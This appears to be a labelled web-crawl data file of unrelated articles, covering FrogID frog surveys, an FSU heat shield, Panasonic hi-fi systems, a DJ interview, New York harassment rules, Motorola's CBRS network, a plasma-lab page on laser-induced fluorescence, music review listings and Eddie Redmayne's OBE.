Sign up for the NJ1015.com Newsletter Get the best of NJ1015.com delivered to your inbox every day. Filed Under: Elizabeth, Gurbir Grewal, Union County	cc/2020-05/en_middle_0032.json.gz/line8020
__label__wiki	0.642184	0.642184	Volunteers with Smartphones Help Identify Frogs in Peril Filed under Environment & Pollution, News ~ by Press on 2 May 2019 Australian Green Tree Frog Disappears from Backyards as an Army of Volunteers with Smartphones Help Identify Frogs in backyards. The findings from the first 12-months of the Australian Museum’s national citizen science project, FrogID shows the first evidence of the decline in Sydney of the iconic Australian Green Tree Frog (Litoria caerulea). For decades, frog biologists and nature-lovers have anecdotally noted the once common Green Tree Frog was disappearing from Sydney backyards. In the first 12 months of FrogID, of the 7000 frog call records received from the Greater Sydney area, only 52 of these were of the Green Tree Frog and none were from any of the inner Sydney suburbs which have historical records of the species. Due to FrogID and the thousands of people recording the calls of frogs across Sydney, we have enough data for the first compelling evidence of the disappearance of the Green Tree Frog from most of Sydney. The information we have gained, and continue to gain, will now help us understand the reasons for this loss and prevent the species declining even further,” Dr Jodi Rowley, Australian Museum Curator of Amphibian & Reptile Conservation Biology said. One of the most surprising results from the first year of the project has been the number of records of native frog species detected calling from well outside their known range, including the Eastern Dwarf Tree Frog (Litoria fallax) found up to 400km from the known edge of the native range near the NSW/Victoria border. These ‘stowaway’ species are likely inadvertently hitchhiking to locations outside their range via produce and potted plants where they are establishing breeding populations, creating a likely ongoing issue, with these invasive frog populations having the potential to impact native frog populations,” Dr Rowley said. The data collected in the first year of FrogID has also provided information on the breeding populations of 28 globally threatened and 13 nationally threatened frog species including the Black Mountain Boulder Frog (Cophixalus saxatilis) in QLD and the Southern Bell Frog (Litoria raniformis) in SA, Tasmania, Victoria and NSW. The FrogID data on species that are poorly known, threatened or rarely documented has been a real success of the project, increasing our ability to make data-driven decisions for these rare species,” Dr Rowley said. Frog ID has already engaged close to 100,000 registered volunteers and continues to attract hundreds of new frog call recordings each month, with the community of citizen scientists – or ‘froggers’ – across Australia growing daily, Australian Museum Director & CEO Kim McKay said. In a short time, FrogID has dramatically increased our understanding of the distribution, breeding seasons and habitats of this incredibly significant animal group, and we would like to thank the many thousands of people who have picked up their phones and literally helped put frogs on the map,” she said. The findings from the first year of FrogID have been released today in Herpetological Conservation & Biology More information on FrogID and how you can help save our frogs at www.frogid.net.au In one year Frog ID generated the equivalent of more than 13% of all frog records collected in Australia over the last 240 years. From Nov 2017-Nov 2018 citizen scientists across Australia – including families, retirees, students, park rangers, farmers and even mine workers – have submitted recordings that have resulted in over 66,000 validated records of frogs and detected 175 of Australia’s 240 known native frog species, plus the introduced Cane Toad. These findings show the incredible impact everyday Australians, with smartphone technology in their hands, can have on scientific research. FrogID has generated unprecedented amounts of expert validated geo-referenced data on Australian frogs which will be used to inform conservation and management decisions while providing vital information about one of the most threatened groups of animals on the planet – frogs,” McKay said. Launched in November 2017, FrogID invites citizen scientists to download the free FrogID app and use their smartphone to record frog calls across Australia with each frog species having its own unique call. The frog recordings collected, together with their time and location data, provide an audio map of frog species across Australia and help identify areas and species under threat. Why Frogs Matter Australia has 240 known species of native frogs, many of which are under threat. Hundreds of frog species have already disappeared worldwide and many more are on the edge of extinction. As one of the first animal species to feel the impact of environmental changes, declining frog populations are a “warning call” about the effects of climate change and pollution on Australia’s waterways, wildlife and ecosystems. The FrogID APP Each frog species has a unique call, which is an accurate way to identify different frog species. Recording and uploading frog calls, via the FrogID app, will identify different frog species, along with time and location data, using GPS technology. A team of frog experts will verify calls submitted by the public. This data will help map frog populations across Australia and identify areas and species under threat. FrogID is the AM’s flagship citizen science project, with support from the Australian Government’s Citizen Science Grants, IBM Australia’s Impact Grants program, and the Australian Museum Foundation’s donors. FrogID has also been made possible through the AM’s collaboration with Bunnings Warehouse, Fyna Foods, Museum & Art Gallery of the Northern Territory, Museums Victoria, Queensland Museum, South Australian Museum, Tasmanian Museum and the Western Australian Museum. Now, if They’d Just Colour it Green… ‘Green’ footpath trial a first for the Hunter . Crushed glass sand and recycled plastic strips have been ... Lake Swim Centers Shaded Splash under shade at Lake Macquarie’s swim centres. Shade over Speers Point Swim Center Shade structures, seating, barbecues and new landscaping comprise improvements ... Eyes, Don’t Glaze Over. This is cool. Quantum world-first: researchers can now tell how accurate two-qubit calculations in silicon really are. University of NSW (UNSW) Sydney engineers have measured the accuracy ... Sydney Secures Hamilton (the musical, that is!) One of the most successful musicals of the decade, Hamilton, is coming to Sydney’s Lyric Theatre. Premier Gladys Berejiklian said more than 130,000 people ... Accessibility in the City An online mapping platform called Accessibility in the City launches in Newcastle later this year. Accessibility in the City will offer users verified information ... Lake Macquarie cruises are back Pictured ~ Mayor of Lake Macquarie Cr Kay Fraser and Nova Cruises General Manager Peter Hanrahan Regular scheduled cruises returning to Lake Macquarie is ... The State of Australia’s Indigenous Languages n 1788 there were between 300 and 700 Indigenous languages spoken across Australia by millions of people, as shown in anthropologist Norman Tindale’s 1974 map. ... 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__label__cc	0.599734	0.400266	Home / News Topics / News / Science & Technology / FSU researchers develop thin heat shield for superfast aircraft FSU researchers develop thin heat shield for superfast aircraft By: Bill Wellock \| Published: November 12, 2019 \| 1:48 pm \| SHARE: Professor Zhiyong (Richard) Liang and research faculty member Ayou Hao holding pieces of carbon fiber reinforced polymer composites with a protective heat shield made of a carbon nanotube sheet that was heated to a temperature of 1,900 degrees Celsius. The world of aerospace increasingly relies on carbon fiber reinforced polymer composites to build the structures of satellites, rockets and jet aircraft. But the life of those materials is limited by how they handle heat. A team of FAMU-FSU College of Engineering researchers from Florida State University’s High-Performance Materials Institute is developing a design for a heat shield that better protects those extremely fast machines. Their work will be published in the November edition of CARBON. “Right now, our flight systems are becoming more and more high-speed, even going into hypersonic systems, which are five times the speed of sound,” said Professor Richard Liang, director of HPMI. “When you have speeds that high, there’s more heat on a surface. Therefore, we need a much better thermal protection system.” The team used carbon nanotubes, which are linked hexagons of carbon atoms in the shape of a cylinder, to build the heat shields. Sheets of those nanotubes are also known as “buckypaper,” a material with incredible abilities to conduct heat and electricity that has been a focus of study at HPMI. By soaking the buckypaper in a resin made of a compound called phenol, the researchers were able to create a lightweight, flexible material that is also durable enough to potentially protect the body of a rocket or jet from the intense heat it faces while flying. Existing heat shields are often very thick compared to the base they protect, said Ayou Hao, a research faculty member at HPMI. This design lets engineers build a very thin shield, like a sort of skin that protects the aircraft and helps support its structure. After building heat shields of varying thicknesses, the researchers put them to the test. One test involved applying a flame to the samples to see how they prevented heat from reaching the carbon fiber layer they were meant to protect. After that, the researchers bent the samples to see how strong they remained. They found the samples with sheets of buckypaper were better than control samples at dispersing heat and keeping it from reaching the base layer. They also stayed strong and flexible compared to control samples made without protective layers of nanotubes. That flexibility is a helpful quality. The nanotubes are less vulnerable to cracking at high temperatures compared to ceramics, a typical heat shield material. They’re also lightweight, which is helpful for engineers who want to reduce the weight of anything on an aircraft that doesn’t help the way it flies. The project received second place among peer-reviewed posters at the 2019 National Space and Missile Materials Symposium and received third place at the Society for the Advancement of Material and Process Engineering 2019 University Research Symposium. That recognition is helpful for showing the United States Air Force Office of Scientific Research, which partially supported the work, the promise of further research, Hao said. Posted in: Science & Technology \| Tagged: Ayou Hao, Department of Industrial and Manufacturing Engineering, FAMU-FSU College of Engineering, High Performance Materials Institute, Richard Liang Previous Article Previous Article: Investigation of oceanic black carbon uncovers mystery in global carbon cycle Next Article Next Article: FSU students earn gold medal at international synthetic biology competition FSU researcher receives NSF funding to make higher-performing computer apps FSU researchers use mechanical engineering, scientific computing and forestry to better understand prescribed burns FSU computational biology researcher named AAAS Fellow FSU Research: Microwave treatment is an inexpensive way to clean heavy metals from treated sewage FSU researchers find risk in opening goliath grouper fishery	cc/2020-05/en_middle_0032.json.gz/line8030
__label__wiki	0.587953	0.587953	Panasonic’s Newest CD Hi-Fi Systems Further Enhance High-Resolution Audio Quality Encounter a new feel for music with SC-PMX152 and SC-PMX82 equipped with top quality audio parts and Re-Master technology Panasonic has today unveiled its latest Micro Hi-Fi systems – the all new SC-PMX152 and SC-PMX82. These updated models offer audio capabilities which further improve sound quality designed to meet the needs of today's increasingly popular high-resolution sound sources. The SC-PMX152 is the first of Panasonic’s CD Micro Systems to include the new CD High-Res Re-Master function, which allows you to up-convert CD audio to the equivalent of high-resolution audio - producing superb sound from a variety of sources. With top-quality audio components, 3-way speaker systems, and sleek dimensions finished with a compact design, both devices not only look great but deliver the best audio experience to quality-orientated music lovers. Experience rich sound expression from a variety of sources Panasonic is driving innovation with the SC-PMX152’s CD High-Res Re-Master function which lets you enjoy a wide range of sound from various sources - including your favourite CDs, MP3s and smartphones. By delivering high-frequency sounds of 20kHz or more, far beyond ordinary CD playback, the CD High-Res Re-Master produces sounds that rival high-resolution audio. The SC-PMX152’s MP3 Re-Master and Bluetooth Re-Master (also available on the SC-PMX82) both produce excellent sound quality from compressed sound sources. The MP3 Re-Master compensates for any lost audio signals that exceed the audible range. By DSP processing, distorted components of the high frequency are replaced by harmonic signal components with less distortion. The result is an even higher level of sound quality for music enjoyment. The Bluetooth Re-Master also compensates for any audio signals that are lost due to data compression when streaming Bluetooth sounds. This feature gives you high-quality playback of sound sources from Bluetooth-compatible devices such as smartphones and tablets.In short, you get the best-quality sound from virtually all sound sources. Unlock the full potential of high-resolution sound Panasonic has gone above and beyond to source only the finest materials for the SC-PMX152 and SC-PMX82, ensuring a high quality for high-resolution music and all other audio sources. Both devices feature premium-grade aluminium electrolyte capacitors and metallized polyester film capacitors which work to unlock the full potential of high-resolution audio, resulting in a crisp and clear sound with a powerful presence. The SC-PMX152 is built to make a genuine Hi-Fi difference with a Low-Noise Power Supply Regulator to reduce clock noise from DSP processing, while maximising the LincsD-Amp jitter elimination and other audio-enhancing features. Further, the Built-In Power Conditioner minimises digital noise that comes from the power supply line to the D-Amp. Enjoy truly authentic audio To ensure authentic and impressive sound, both devices are equipped with Panasonic’s innovative new 3rd-generation LincsD-Amp solution. Every aspect of the Panasonic Digital Amp Solution is designed to deliver a more refined, pristine sound as it corrects issues such as jitter and unwanted distortion in digital music playback. The SC-PMX152 also comes equipped with Virtual Battery Power Supply which cuts out the interference you can get from normal power supplies. Additionally the Variable Gain technology (also available in SC-PMX82) enhances clarity at low volumes. Panasonic continues to evolve its high-performance 3-way speaker system to ensure the most from both models’ updated amp technology and 120W power output. By combining a 3-way design with a Super Sonic Tweeter, the SC-PMX152’s speakers are capable of reaching the ultra-high 100kHz frequency range. This ensures that the speaker is able to produce beautifully dynamic sound packed with the sort of tiny details that bring high quality recordings to life. A lightweight and rigid 14cm Bamboo Plant Opal features again in the woofer of the SC-PMX152’s speakers to produce clear sounds across a wide frequency range.This material quickly settles vibration to decrease unwanted reverberations and faithfully achieve the sound that the artist intended. The SC-PMX82’s woofer continues to use Bamboo charcoal with its precise holes reducing resonance and providing clear and natural sounds. Elegant, compact design Premium aluminium material is used on the front panel of both the SC-PMX152 and SC-PMX82. For added sleekness, an extra aluminium top panel is included on the SC-PMX152’s main unit. Both systems combine compact size, high grade design and an elegant finish, complementing a wide range of room décor. SC-PMX152 Specs: 3-Way Speaker System LincsD-Amp 3rd generation VGDA (Variable Gain Digital Amp) Virtual Battery Power Supply Built-in Power Conditioner 100KHz Super Sonic Tweeter Bamboo Plant Opal Woofer High Resolution Audio file with USB DAC CD High-Res Re-Master / MP3 Re-Master / Bluetooth® Re-Master High Quality Audio Parts Wi-Fi 5GHz/2.4GHz Multi-room with Qualcomm® AllPlay™ Panasonic Music Streaming App Wireless Audio with DLNA, and Bluetooth® Re-streaming *4 (Bluetooth/CD/Radio/USB/AUX) SC-PMX82 Specs: Silk Dome Tweeter Bamboo Charcoal PP Woofer Bluetooth® Re-master High Resolution Audio via USB Memory Wireless Audio with Bluetooth® Panasonic Corporation is a worldwide leader in the development of diverse electronics technologies and solutions for customers in the consumer electronics, housing, automotive, enterprise solutions and device industries. Since its founding in 1918, the company has expanded globally and now operates 474 subsidiaries and 94 associated companies worldwide, recording consolidated net sales of 56.794 billion Euro (7.553 trillion Yen) for the year ended March 31, 2016. Committed to pursuing new value through innovation across divisional lines, the company uses its technologies to create a better life and a better world for its customers. To learn more about Panasonic visit: http://www.panasonic.com/global.	cc/2020-05/en_middle_0032.json.gz/line8031
__label__wiki	0.81622	0.81622	Joeski - Inside The Track 'Touch Me' Nov 26, 05:21 PM Joeski started djing in 1989 where he used to do house parties in Queens New York he then hooked up with some promoters in about 1991 and started to DJ Wunder Bar in NY he then started at the legendary Limelight on Thursday’s followed by Nasa 1991-1992, it was then when he got into the rave circuit and did Thursday’s after-hours at Save the Robots with DJ Keoki. After this he started traveling all over the USA and started his residency at the Roxy in about 1995, the party was called Together and he played there with, everybody you name it! Danny T, Little Louie Vega, Roger S, and on and on. Joeski played raves all over the US and in about 1997 started doing every other Friday at Grove Society at the Playground in Montreal . It was then that he started getting into production, the first track he ever did was in Germany in 96 which he never put out. He invested all his loot in the studio and then started Maya Records in 2005. With ‘Touch Me’ via Maya high on the Tech House Charts We sat down with Joeski to get a look ‘Inside The Track’ and more with this Exclusive interview. 1) Congratulations on the current success of ‘Touch Me’ It seems to be hitting a nerve with fans on Traxsource as its nested in bottom half of the Top10 Tech House download chart right now. What is it about the track that you think really appeals to people? Thank you. I would say it would have to be the drums and the groove of the bass line. 2) Tell us more about “Touch Me”. What was the main inspiration behind it and what prompted the musical direction on this? The vocal. The raw sexiness of the vocal. I love that. That’s what the whole vibe was about. 3) Production wise, what is it about “Touch Me” that makes it work? The track arrangement for sure. I’ve played the track out, and I feel when the vocal brakes come in and build back up, it works well on the dance floor. 4) What is the one machine, program, sound, drum machine, technique that characterizes the signature the Joeski sound? I would have to say the Kontakt 5 5) What is the one piece of kit that Joeski simply cannot do without? There’s a few that I use. One is the Kontakt 5 Sampler, EXS 24, and the Ultra Beat. When I came into this, this was a totally different business. Things weren’t as easy as they are today. I remember handing out cd’s back in the day. Now you have social media which makes exposure so easy. My advice would be to find you own sound and when you do, market the hell out of it Joeski Follow Pages on Traxsource 100k and counting.... Remixed With Love by Joey Negro	cc/2020-05/en_middle_0032.json.gz/line8032
__label__wiki	0.732373	0.732373	Will new rules prevent sexual harassment? By Chris Caya & Mark Wozniak • Oct 9, 2018 New regulations to prevent sexual harassment in the workplace are now in effect in New York State. WBFO's Chris Caya reports Starting Oct. 9, every business and nonprofit - regardless of size - must have a sexual harassment policy in place that meets state standards. A written copy must also be provided to each employee. Labor and Employment Attorney Robert Weissflach, a partner at Harter Secrest & Emery LLP in Buffalo, cited some examples of harassment. Attorney Robert WeissflachCredit Harter Secrest & Emery LLPEdit \| Remove "Unwelcomed or inappropriate touching of another employee or sexually charged jokes, hitting on a co-worker and being told 'no' and persisting, that type of thing, are the typical examples that you see in the policy," Weissflach said. Under the law, the policy must prohibit sexual harassment, provide examples of prohibited conduct, include a complaint form and a procedure for the timely and confidential investigation of complaints. "They always have the opportunity to go to someone in management or human resources and make a complaint," he said, "and even existing policies prior to today should have had some sort of complaint mechanism in them. They're required to now." Employers are also required to provide their workers with annual training. Company policies must clearly state that sexual harassment is a form of employee misconduct and sanctions will be enforced against the perpetrators and managers who knowingly allow it to continue. Employees must also be notified that retaliation against individuals who complain or assist in any investigation of sexual harassment is unlawful. 11/09/2017: Combating sexual harassment in the workplace By Marketplace • Nov 9, 2017 (U.S. Edition) President Trump is returning from China with $250 billion in deals in tow, including one between the country and Boeing. But not everyone's impressed. On today's show, we'll look at some of the reasons American companies are worrying that these deals do little to address their key issues. Afterwards, we'll talk to Vicki Magley, professor of psychology at U Connecticut, about conducting effective sexual harassment training in the workplace. 11/20/2017: What constitutes sexual harassment at work? By Marketplace • Nov 20, 2017 (U.S. Edition) In Germany, talks aimed at forming a ruling coalition fell apart last night. Chancellor Angela Merkel won the most votes in a general election in September, but not enough to rule outright. On today's show, we'll take a look at the current state of Germany's economy and what political instability could mean for it. Afterwards, we'll look at Toshiba's financial woes: it faces $6 billion in liabilities because its U.S. subsidiary Westinghouse is in bankruptcy. 70: Why is sexual harassment training so bad? By Kai Ryssdal and Molly Wood • Jun 26, 2018 If you work in an office, chances are you've sat through some pretty lame harassment training — videos, click-through programs and materials that might feel straight out of the '90s. For many of us, these trainings are something to squeeze in between real work and groan about at meetings. Not exactly a path to real change in the #MeToo era. Morgan Mercer is dedicated to the idea that effective training must build empathy. Her startup, Vantage Point, uses virtual reality to immerse people in icky work scenarios that they have to navigate in real time.	cc/2020-05/en_middle_0032.json.gz/line8033
__label__wiki	0.636478	0.636478	Motorola Solutions to Begin Initial Commercial Deployment of CBRS Solution MOTOTRBO Nitro gives commercial customers the means to communicate on private customized networks with less maintenance and lower costs CHICAGO, IL – Sept. 12, 2019 – Motorola Solutions (NYSE: MSI) today announced that its Citizens’ Broadband Radio Service (CBRS)-based private broadband solution, MOTOTRBO Nitro, will participate in the Federal Communications Commission's (FCC) initial commercial deployment (ICD) phase. This will follow the FCC’s public notice of approval for the ICD phase of CBRS, which is expected in September. The recently available 3.5 GHz spectrum addresses the market need for instant broadband communications for enterprise operations, with better coverage and faster speeds. As a member of the CBRS Alliance, Motorola Solutions was involved in the CBRS standards-setting process from the beginning. In March 2019, the company launched Nitro to provide commercial operations with customized private networks that delivers both voice and broadband data. “This milestone reflects industry commitment to delivering better and faster enterprise communications,” said John Zidar, corporate vice president, North America Commercial, Channel & Carrier, Motorola Solutions. “We are eager to begin commercial deployments of our CBRS portfolio, to give our customers more capacity and coverage for their voice, data and video communications." With MOTOTRBO Nitro, Motorola Solutions leverages over a decade of private-broadband expertise to offer an end-to-end enterprise broadband solution. The network core is hosted in the cloud and the entire network is delivered as a service, making operation scalable, secure and hassle-free. Customers can leverage their CBRS network with any device by using the SLN 1000, the first push-to-talk radio built specifically for CBRS, as a Wi-Fi hot spot. "The MOTOTRBO Nitro solution and capacity of the CBRS spectrum have improved security and communications in our public spaces,” said Dan McElmeel, IT director, City of Woodstock, Illinois, which is beta testing the network. “We look forward to expanding our use of the network and technology to best serve our community." Learn more about MOTOTRBO Nitro here. Motorola Solutions is a global leader in mission-critical communications. Our technology platforms in communications, software, video and services make cities safer and help communities and businesses thrive. At Motorola Solutions, we are ushering in a new era in public safety and security. Learn more at www.motorolasolutions.com. Kelly Palecek kelly.palecek@motorolasolutions.com	cc/2020-05/en_middle_0032.json.gz/line8034
__label__wiki	0.545002	0.545002	Laboratory for Plasma Nanosynthesis Introduction to Plasma Nanosynthesis Plasma and Material Processes in Atmospheric Pressure Plasmas Atomistic Simulations of Plasma-Generated Nanomaterials Coherent Rayleigh-Brillouion Scattering Laser-Induced Incandescence Optical Emission Spectroscopy Theory and Simulations of Low Temperature Plasma Devices Plasma Modeling: Ablation/Deposition in Arc Discharge Plasma Modeling: Plasma-Induced Effects on Nanoparticles Laser-Induced Fluorescence (LIF) The interaction of a laser beam with an atom, ion or molecule may results in excitation to a higher quantum state. A process of excitation is more likely to occur when the laser is tuned to the energy difference between this original lower state and an upper (excited) state. Such an event is accompanied by absorption of a photon and this process can be monitored as a reduction in a total laser incident beam intensity after propagation of studying volume.* Another indication of that process is detection of subsequent spontaneous emission radiation as the resulting excited state undergoes to the lower state - the process is known as Laser Induced Fluorescence (LIF). Since energy of species’ quantum states and their populations are affected by the environment of the species absorbing the laser photons, the use of spectrally narrow enough laser allows nonintrusive reconstruction of these environmental effects by laser scanning within certain spectral range and measurement of LIF signal. Recorded dependence of the LIF signal versus laser frequency is called LIF excitation spectrum. Several different phenomena may affect the shape of LIF excitation spectra leading, in general, to broadening and shift. If the mechanism of broadening and shift is known, accurate LIF spectrum line shape measurements can be used to reveal the value of environmental parameter responsible for the effect. In LPN-PPPL the LIF technique will be used to probe various chemical species present in a gas phase during the nanomaterial synthesis. Density and temperature of selected species will be measured as a function of synthesis arc operation mode, distance from electrodes and composition of arc discharge plasma. For instance, carbon atoms and molecules (C2 and C3) which are involved in the very first steps of the carbon-based nanostructures growth, will be probed to map their density and temperature distributions. Similarly, metal catalysts in a gas phase will be also probed to understand its role in nucleation. Such measurements can be done with very high temporal and spatial resolution, high accuracy and selectivity. To summarize, the LIF diagnostic, as an in-situ technique, is able to provide data about the environment needed for nanomaterial synthesis and the very early stage of species’ condensation and nucleation. These data will be further used as an input for modeling of the nanomaterial synthesis and verification of theoretical efforts. * Indeed, there is a finite probability that more than one photon can be absorbed (even cross-section for such process becomes much much less compared to single photon absorption) leading to another technique known as a Two-photon Absorption Laser Induced Fluorescence (TALIF). TALIF can be the only possibility to probe species with excitation energies lying in deep UV region. Princeton Plasma Physics Laboratory is a U.S. Department of Energy national laboratory managed by Princeton University. GPS: 100 Stellarator Road Princeton, NJ, 08540 © 2015 Princeton Plasma Physics Laboratory. All rights reserved.	cc/2020-05/en_middle_0032.json.gz/line8035
__label__wiki	0.995672	0.995672	National Sawdust Home About National Sawdust Get the latest music news and NS Log posts Emailed Thursdays. In Review: Christopher Cerrone with Wild Up In a Los Angeles concert reviewed by Catherine Womack, the new-music ensemble Wild Up celebrated a new album featuring works by Christopher Cerrone, which cumulatively achieve an operatic impact. https://nationalsawdust.org/thelog/wp-content/uploads/2019/07/Cerrone-banner-2.jpg 800 1500 Catherine Womack https://nationalsawdust.org/thelog/wp-content/uploads/2017/10/national-sawdust-log.png Catherine Womack2019-07-31 17:00:252019-08-06 15:06:59In Review: Christopher Cerrone with Wild Up Playlist (Dreaming). This week's tally of memorable things Log editor Steve Smith has stuck in his ears includes selections featuring Anna Thorvaldsdottir, Carl Stone, Sarah Longfield, and Jerusalem in My Heart. https://nationalsawdust.org/thelog/wp-content/uploads/2019/07/Playlist-July-29-2019.jpg 500 2000 Steve Smith https://nationalsawdust.org/thelog/wp-content/uploads/2017/10/national-sawdust-log.png Steve Smith2019-07-29 18:00:262019-07-29 19:08:42Playlist (Dreaming). Album Review: Éamon Boylan, Soft Butter Brin Solomon reviews 'Soft Butter,' the original cast recording of a musical-theater work by Éamon Boylan that uses macabre and dreamlike imagery to poetically evoke personal truths about trans life. https://nationalsawdust.org/thelog/wp-content/uploads/2019/07/Soft-Butter-banner.jpg 800 1500 Brin Solomon https://nationalsawdust.org/thelog/wp-content/uploads/2017/10/national-sawdust-log.png Brin Solomon2019-07-24 13:45:002019-07-24 13:56:43Album Review: Éamon Boylan, Soft Butter Playlist (Mercury's in retrograde). This week's tally of memorable things Log editor Steve Smith has stuck in his ears includes selections featuring Yugen Blakrok, Winfried Mühlum-Pyrápheros, electronic artists serving a noble cause, and Ben Johnston. https://nationalsawdust.org/thelog/wp-content/uploads/2019/07/Playlist-July-22-2019.jpg 500 2000 Steve Smith https://nationalsawdust.org/thelog/wp-content/uploads/2017/10/national-sawdust-log.png Steve Smith2019-07-22 18:00:112019-07-22 18:33:15Playlist (Mercury's in retrograde). In Review: Blue Vivien Schweitzer reviews 'Blue,' a timely new opera by librettist/director Tazewell Thompson and composer Jeanine Tesori, staged in its world-premiere production at the Glimmerglass Festival. https://nationalsawdust.org/thelog/wp-content/uploads/2019/07/Blue-banner-2.jpg 800 1500 Vivien Schweitzer https://nationalsawdust.org/thelog/wp-content/uploads/2017/10/national-sawdust-log.png Vivien Schweitzer2019-07-19 08:00:332019-07-19 10:24:34In Review: Blue In Review: SWELL SWELL, a new experimental song cycle by multiple composers and lyricists presented at HERE on July 14, zooms in on deeply personal stories of immigrants and their descendants, Brin Solomon reports. https://nationalsawdust.org/thelog/wp-content/uploads/2019/07/SWELL-inset-1.jpg 600 900 Brin Solomon https://nationalsawdust.org/thelog/wp-content/uploads/2017/10/national-sawdust-log.png Brin Solomon2019-07-17 13:30:402019-07-17 13:32:57In Review: SWELL Playlist (History repeats itself). This week's tally of memorable things Log editor Steve Smith has stuck in his ears includes selections featuring Nivhek, Kali Malone, Caterina Barbieri, and Pauline Oliveros. https://nationalsawdust.org/thelog/wp-content/uploads/2019/07/Playlist-July-15-2019.jpg 500 2000 Steve Smith https://nationalsawdust.org/thelog/wp-content/uploads/2017/10/national-sawdust-log.png Steve Smith2019-07-15 18:00:052019-09-02 12:59:03Playlist (History repeats itself). In Review: Oliver Beer, Vessel Orchestra In Vessel Orchestra, now on view at The Met Breuer, the British artist Oliver Beer transforms 32 diverse art objects from the Metropolitan Museum of Art into a curiously harmonious musical instrument. https://nationalsawdust.org/thelog/wp-content/uploads/2019/07/Vessel-inset-2.jpg 600 900 Steve Smith https://nationalsawdust.org/thelog/wp-content/uploads/2017/10/national-sawdust-log.png Steve Smith2019-07-10 12:00:232019-08-05 16:53:24In Review: Oliver Beer, Vessel Orchestra Playlist (Greensleeves by Mozart). This week's tally of memorable things National Sawdust Log editor Steve Smith has stuck in his ears includes selections featuring Jennifer Walshe, Little Simz, Ensemble neoN, and Félicia Atkinson. https://nationalsawdust.org/thelog/wp-content/uploads/2019/07/Playlist-July-8-2019.jpg 500 2000 Steve Smith https://nationalsawdust.org/thelog/wp-content/uploads/2017/10/national-sawdust-log.png Steve Smith2019-07-08 18:00:542019-07-08 19:13:19Playlist (Greensleeves by Mozart). Playlist (Chinen In). This week's tally of memorable things National Sawdust Log editor Steve Smith has stuck in his ears includes selections featuring Sonic Youth, Davies/Sylvian/Wastell, CUP, and Jason Moran. https://nationalsawdust.org/thelog/wp-content/uploads/2019/07/Playlist-July-1-2019.jpg 500 2000 Steve Smith https://nationalsawdust.org/thelog/wp-content/uploads/2017/10/national-sawdust-log.png Steve Smith2019-07-01 23:00:122019-07-04 02:20:53Playlist (Chinen In). On the Record: January 17, 2020 New Music Preview: CP Unit Playlist (The Shuddering Breath of Yesterday). In Review: Patricia Brennan Playlist (A Flourish of Ritual Activity). Inside National Sawdust © Copyright - National Sawdust at Original Music Workshop. Site by Grey Ship	cc/2020-05/en_middle_0032.json.gz/line8038
__label__wiki	0.769536	0.769536	Home/News/Eddie Redmayne Receives OBE From Queen Elizabeth II At Windsor Castle Eddie Redmayne Receives OBE From Queen Elizabeth II At Windsor Castle Netloid Team December 2, 2016 Eddie Redmayne has capped off a memorable year by becoming an OBE. The A-list actor, 34, beamed with pride as he posed with his medal beside wife Hannah – with whom he welcomed daughter Iris May this summer – at Windsor castle on Friday. He received the honour for services to drama, and it comes as his latest film Fantastic Beasts And Where To Find is proving a smash hit at the box office. Eddie admitted that while being a parent was ‘wonderful’, he was feeling a little sleep deprived on his big day because of little Iris. ‘She does have the habit of knowing when you have a big day, like today’, he sighed. ‘And she was up until four in the morning, so both my wife and I came today with matchsticks under our eyes. Other than that she is on cracking form.’ He complemented the stylish three-piece suit with a cream pocket handkerchief and a pale blue tie. The star linked arms with Hannah, who wore a classy knee-length black dress and heels. The publicist’s elaborate fascinator caught the eye, and from underneath her long tresses fell over her shoulders. Of his latest honour, he said: ‘It was absolutely wonderful. Also being with such extraordinary people the whole experience is incredibly humbling and also getting to be in Windsor Castle is breathtaking, around Christmas as well with all the decorations.’ Pressed on what the Queen had said to him, the Danish Girl star said: ‘She was asking me whether I prefer film or theatre, and asked me if I enjoyed it. ‘I’m very lucky to do something I am passionate about – I’m very grateful to do something I love because it is a rare thing.’ Eddie said it was ‘an extraordinary thing’ to receive his OBE, adding: ‘It is something that I had never thought of and it was never in my wildest imagination.’ Inside the castle, Eddie was presented with his medal by the Queen, who wore a plain orange dress for the occasion. Eddie smiled as he had his OBE pinned to his chest, before sharing a few words with the Queen in front of the full room. One of Britain’s top heartthrobs, Eddie married long-term girlfriend Hannah in December 2014, and the couple have a baby daughter called Iris May. The pair attended the launch of The Reindeer 2016 at Alexander McQueen’s charitable foundation Sarabande, London, on Thursday night. They were sartorially in sync, with both wearing smart all-black ensembles at immersive Christmas dining experience by Bistrotheque, with support of Ketel One. Conceived by Bistrotheque’s Head Chef Blaine Duffy, courses included a starter of smoked goat’s cheese, Jerusalem artichokes, Ketel One Vodka-cured salmon, beetroot and horseradish, followed by a main of roast pink beef, smoked short rib, pickled cabbage, apple and chestnuts, and a dessert of panna cotta, macerated Christmas fruit, and Pedro Ximenez. The menu was paired with specially created Ketel One cocktails to each course. Major Tim Peake, 44, was also made an OBE for services to space research and scientific education. He was aboard the International Space Station (ISS) when he received the call informing him of his recommendation for Companion of the Order of St Michael and St George. Eight days before his return to Earth, he spoke of his delight, and dedicated the award to those who had made his mission possible. Major Peake became the first British person to walk in space on January 15. He said the walk had been the highlight of his six-month mission, which began on December 15 last year. Major Peake landed back on Earth on the steppes of Kazakhstan on June 18. During his mission, he conducted more than 100 scientific experiments, engaged with thousands of schoolchildren on Earth, and became the first person to run the London marathon in space. A-list actor Aerospace & Defense - NEC Alexander McQueen Aquanauts Berkshire Blaine Duffy Christmas Counties of England Eddie Redmayne England Fantastic Beasts And Where To Find Hannah Head Chef Human Interest International Space Station Iris May Jerusalem Kazakhstan London Major Pedro Ximenez Queen Sarabande The star Tim Peake United Kingdom Windsor Castle Sheridan Smith Father Colin Dies After Battle With Cancer Nick Cannon Share Throwback Photos Mariah Carey and Bryan Tanaka’s Beach PDA Women Develop Marijuana Tolerance More Quickly Than Men Watch Bill Gates Drink Water Processed From Human Feces High-End Fashion & the US-Sino Trade War Susan Sarandon Will Not Choose Hillary Clinton Eddie Murphy Says Tracy Morgan Impression Actor C. Martin Croker Has Passed Away Lewis Hamilton With Rumoured Gf Winnie Harlow ACLU Suing Town Over Cross Christmas Tree In Knightstown, Indiana	cc/2020-05/en_middle_0032.json.gz/line8043
